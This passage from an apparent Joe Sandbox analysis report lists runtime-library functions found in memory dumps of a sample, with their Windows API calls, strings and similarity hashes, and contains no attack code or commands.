csm, xrefs: 008F19B8

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 93996c391fda30767e5ea1ef0f330d92c3e55ad8da125af7f1b472316e4ba120
Instruction ID: 893a5af8c9e626759538b73c9a76de46d21b35c45ca0c574f9d2fd85031304eb
Opcode Fuzzy Hash: 93996c391fda30767e5ea1ef0f330d92c3e55ad8da125af7f1b472316e4ba120
Instruction Fuzzy Hash: EEB1797190020DEFCF25DFB8C8899BEBBB5FF54310B10415AEA15AB212D731DA61CB92

Function 008EBD98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,A44455A3,?,?,00000000,00902EC9,000000FF,?,008EBE59,008EBD40,?,008EBEF5,00000000), ref: 008EBDCD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 008EBDDF
FreeLibrary.KERNEL32(00000000,?,?,00000000,00902EC9,000000FF,?,008EBE59,008EBD40,?,008EBEF5,00000000), ref: 008EBE01

Strings

mscoree.dll, xrefs: 008EBDC6
CorExitProcess, xrefs: 008EBDD7

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 774771cf471ef4f67cf88c1b8ca56fb6a64b7dacfd10a4cb93979cdae23e67d9
Instruction ID: 758ba847053e6ef438dac80cb48d4b945662d5e8f259e03e61654a12507482b0
Opcode Fuzzy Hash: 774771cf471ef4f67cf88c1b8ca56fb6a64b7dacfd10a4cb93979cdae23e67d9
Instruction Fuzzy Hash: 1601A231A58659FFDB129B91DC09BEEBBB8FB44B15F008625F911E22D0DB749900CA90

Function 008F39EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 008F3A6F
__alloca_probe_16.LIBCMT ref: 008F3B38
__freea.LIBCMT ref: 008F3B9F

Part of subcall function 008F22B1: RtlAllocateHeap.NTDLL(00000000,008F4235,?,?,008F4235,00000220,?,?,?), ref: 008F22E3

__freea.LIBCMT ref: 008F3BB2
__freea.LIBCMT ref: 008F3BBF

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 22b48093ddcb01c35b7f936f888d3c5a5a90ba192fca156050d82b801f9e2f30
Instruction ID: 9ecbd85505464a9b35808779f5008fbd2ca405fd0e2abc06a64a268638a97a56
Opcode Fuzzy Hash: 22b48093ddcb01c35b7f936f888d3c5a5a90ba192fca156050d82b801f9e2f30
Instruction Fuzzy Hash: 0051D67260020EBFDB219F76CC56EBB7AADFF44724B150069FE04D6251EB30CE1496A1

Function 008E5D01 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 008E5D15
AcquireSRWLockExclusive.KERNEL32(?,?,?,008DB45E), ref: 008E5D34
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,008DB45E), ref: 008E5D62
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,008DB45E), ref: 008E5DBD
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,008DB45E), ref: 008E5DD4

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 211a53c8506955781346b41fff66c303570a5a3f1ccfe2f17b40940451f7bb70
Instruction ID: d760e0e8f59f9930b93a967898b743e8b78ee4ab18441c4cdfb7c359e25309a5
Opcode Fuzzy Hash: 211a53c8506955781346b41fff66c303570a5a3f1ccfe2f17b40940451f7bb70
Instruction Fuzzy Hash: D5415D35710E8ADFCB20DF66C9989AAB3F9FF06318B204629E456D7540D730F985CB51

Function 008E3142 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008E3149
std::_Lockit::_Lockit.LIBCPMT ref: 008E3154
std::_Lockit::~_Lockit.LIBCPMT ref: 008E31C2

Part of subcall function 008E304A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 008E3062

std::locale::_Setgloballocale.LIBCPMT ref: 008E316F
_Yarn.LIBCPMT ref: 008E3185

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: fa8971346c437fd35401e63684500179b668a63303b0308d56afe641296f9abd
Instruction ID: 612b5a3950119f3a754635ee28c45785610bdc73bc52a6fe97f748babfcc5fab
Opcode Fuzzy Hash: fa8971346c437fd35401e63684500179b668a63303b0308d56afe641296f9abd
Instruction Fuzzy Hash: 31015A75B045A1ABC706EB65DC865BC7BB6FF96350B144008F81297391CF346E42DBC2

Function 008FD190 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,008FD22C,?,?,00000000,?,?,?,008FD0EA,00000002,FlsGetValue,009081E4,009081EC), ref: 008FD19D
GetLastError.KERNEL32(?,008FD22C,?,?,00000000,?,?,?,008FD0EA,00000002,FlsGetValue,009081E4,009081EC,?,?,008F10A8), ref: 008FD1A7
LoadLibraryExW.KERNEL32(?,00000000,00000000,000000FF,?,008D90A5), ref: 008FD1CF

Strings

api-ms-, xrefs: 008FD1B4

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: bd20b5531f3c5abb0ce56b3661321ec50dfa8396228d172fd617b13704e5bc60
Instruction ID: 5b02c6b9f0e265df1fefaa44819604b4f33f17ef9eba2b99c886a2d83d081f5e
Opcode Fuzzy Hash: bd20b5531f3c5abb0ce56b3661321ec50dfa8396228d172fd617b13704e5bc60
Instruction Fuzzy Hash: 05E0123079430CB6EB101B61DC06BB93B55EB00B44F148460FB0DE54A1D761D890D554

Function 008FA25E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(A44455A3,00000000,00000000,?), ref: 008FA2C1

Part of subcall function 008F23C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,008F3B95,?,00000000,-00000008), ref: 008F2422

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 008FA513
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 008FA559
GetLastError.KERNEL32 ref: 008FA5FC

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: cb9815f68bb6107141e33518fc28f1454d195f315a74c2bfee8cb68a90c0496e
Instruction ID: a93bb6accff9b13c836a04fbbc53d4d2c09b86f87092d442c05617a38dff5689
Opcode Fuzzy Hash: cb9815f68bb6107141e33518fc28f1454d195f315a74c2bfee8cb68a90c0496e
Instruction Fuzzy Hash: 8ED16CB5D0424C9FCB19CFA8C8849EDBBB4FF09314F28816AE659EB351D630A941CB51

Function 008F1635 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 008F16FC
___AdjustPointer.LIBCMT ref: 008F171F
___AdjustPointer.LIBCMT ref: 008F17BB

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 0d28a29aaf476fa64284daad1c89dc1ae6f176f0e5e6431d7eabaa945ccba96e
Instruction ID: d83eb4511ef23940fa7d11f7c28d60c7ed569da9b95662ab0abd7d5d619872b3
Opcode Fuzzy Hash: 0d28a29aaf476fa64284daad1c89dc1ae6f176f0e5e6431d7eabaa945ccba96e
Instruction Fuzzy Hash: B051E17160420AEFDF25AF25D849BBA77A4FF11314F14442DEA4AC72A4E731AC90CB90

Function 008F8086 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 008F23C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,008F3B95,?,00000000,-00000008), ref: 008F2422

GetLastError.KERNEL32 ref: 008F80EA
__dosmaperr.LIBCMT ref: 008F80F1
GetLastError.KERNEL32 ref: 008F812B
__dosmaperr.LIBCMT ref: 008F8132

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e625cb8d051d3772a5171a6dfe0283431b2eddaa7b2daa7c32447ab67b819793
Instruction ID: 22042a82daa9c05b653c3a3a511ae61843971b09b2906d199e328be67e354080
Opcode Fuzzy Hash: e625cb8d051d3772a5171a6dfe0283431b2eddaa7b2daa7c32447ab67b819793
Instruction Fuzzy Hash: 3821AF7160460DEF9B20AF76C88187BB7A8FF523687108529FA19D7251DF31EC518B91

Function 008E95B2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf5c2c99da3ef6c14821302226b207f97fc27613ae216f2556e748f8d3b6beb
Instruction ID: 1c1e2f18ef16120fc3861288010ec6e2bab294117f476f9fd0d62098f0928217
Opcode Fuzzy Hash: 3bf5c2c99da3ef6c14821302226b207f97fc27613ae216f2556e748f8d3b6beb
Instruction Fuzzy Hash: AE21A471204289AF9B20AF7BCC4096B77A8FF623687108516FD96D7261EBB0EC40C761

Function 008F947E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 008F9486

Part of subcall function 008F23C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,008F3B95,?,00000000,-00000008), ref: 008F2422

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008F94BE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 008F94DE

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 55a83037484e3b9c55ffc82e6e1744734fb00271e43ca8c3ebafa5b7e5fb2dff
Instruction ID: 26636a0f97fd4efa9f66983cf29a22a850be33ce555e0e8ad15f071ce659f347
Opcode Fuzzy Hash: 55a83037484e3b9c55ffc82e6e1744734fb00271e43ca8c3ebafa5b7e5fb2dff
Instruction Fuzzy Hash: 4F1149F160461EBFAB1227BA5C89DBFA99CFE983987100014FF41D2201FA30CE0191B2

Function 009027D0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,009014BF,00000000,00000001,?,?,?,008FA650,?,00000000,00000000), ref: 009027E7
GetLastError.KERNEL32(?,009014BF,00000000,00000001,?,?,?,008FA650,?,00000000,00000000,?,?,?,008F9F96,?), ref: 009027F3

Part of subcall function 00902850: CloseHandle.KERNEL32(FFFFFFFE,00902803,?,009014BF,00000000,00000001,?,?,?,008FA650,?,00000000,00000000,?,?), ref: 00902860

___initconout.LIBCMT ref: 00902803

Part of subcall function 00902825: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009027C1,009014AC,?,?,008FA650,?,00000000,00000000,?), ref: 00902838

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,009014BF,00000000,00000001,?,?,?,008FA650,?,00000000,00000000,?), ref: 00902818

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3806d184612c893aa00da899906021a2014c5109a4b2fbdd054eb269aa166d28
Instruction ID: dd66ba833b2d9fb50f4f8e4e4547905c793ff83e229c9ed658dd9a6702657c69
Opcode Fuzzy Hash: 3806d184612c893aa00da899906021a2014c5109a4b2fbdd054eb269aa166d28
Instruction Fuzzy Hash: AAF0AC3A615115BFCF232FD5EC0CAD97F66EB483A1B04C054FE1996160D7328960EBA1

Function 008E6EF5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 008E6F07
GetCurrentThreadId.KERNEL32 ref: 008E6F16
GetCurrentProcessId.KERNEL32 ref: 008E6F1F
QueryPerformanceCounter.KERNEL32(?), ref: 008E6F2C

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 79f00caf4581adc0f465f0fd1c2894ba093aaf3600de212cec924271c4deb441
Instruction ID: c758fe72be2574548f12fab1210fa65883991536370dfd6edcf15a7856d487e4
Opcode Fuzzy Hash: 79f00caf4581adc0f465f0fd1c2894ba093aaf3600de212cec924271c4deb441
Instruction Fuzzy Hash: 9EF06274D2420DEBCB01DBB4DA499DEBBF4EF1D200B918596A512E7110E730AB44DB50

Function 008F6C36 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 008F250A: GetLastError.KERNEL32(00000000,?,008F488D), ref: 008F250E
Part of subcall function 008F250A: SetLastError.KERNEL32(00000000,?,?,00000028,008EEB33), ref: 008F25B0

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,008EC3A9,?,?,?,00000055,?,-00000050,?,?,?), ref: 008F6CF5
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,008EC3A9,?,?,?,00000055,?,-00000050,?,?), ref: 008F6D2C

Strings

utf8, xrefs: 008F6DFE

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: bbb29fb9a266bcfd553d497ecfe0d1bfb4fccc543ff4f83e22189070ae44b5dd
Instruction ID: ffc8de1a68628eeb1762838a450c076dd2da5fb993a0b64b8f17488179742e24
Opcode Fuzzy Hash: bbb29fb9a266bcfd553d497ecfe0d1bfb4fccc543ff4f83e22189070ae44b5dd
Instruction Fuzzy Hash: EC51FA76A0030DAADB34BB74CC42BB777A9FF05704F240629F785DB181F670E9608662

Function 008FBB8D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 008FBC1D

Strings

pow, xrefs: 008FBBF5, 008FBC12

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 8ea2446ae61ae4564312f58ea295b2c456709d1db61233777c3d235cc6795ef5
Instruction ID: cbfed8ded1733c73777f698365254ea0bd6501a66539fd15019f8fca26b354f7
Opcode Fuzzy Hash: 8ea2446ae61ae4564312f58ea295b2c456709d1db61233777c3d235cc6795ef5
Instruction Fuzzy Hash: DC518A71A1810D9ACB117738CE4137B3BA4FF40750F348D68E2DAC22E8EF358D91AA46

Function 008F1D32 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,008F1C33,?,?,00000000,00000000,00000000,?), ref: 008F1D57

Strings

RCC, xrefs: 008F1D71
MOC, xrefs: 008F1D69

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000000.00000002.1724593336.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724637070.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724658228.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724674800.0000000000916000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724695867.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724713193.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 07acceaa4ccdbe9247f0fa90008380bdc1838f580dccb5a0dc9349d7f62911eb
Instruction ID: ea8a9889f6f669295833e3fcd079590b5b47a1ba24eeceda5ee6c0e89785fa8a
Opcode Fuzzy Hash: 07acceaa4ccdbe9247f0fa90008380bdc1838f580dccb5a0dc9349d7f62911eb
Instruction Fuzzy Hash: A941357690020DEFCF16DFA8CC85AAEBBB5FF48314F148159FA18A6221D335A960DB51

Function 008F159E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 008F1815

Strings

csm, xrefs: 008F1837
csm, xrefs: 008F18A8

Memory Dump Source

Source File: 00000000.00000002.1724606048.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

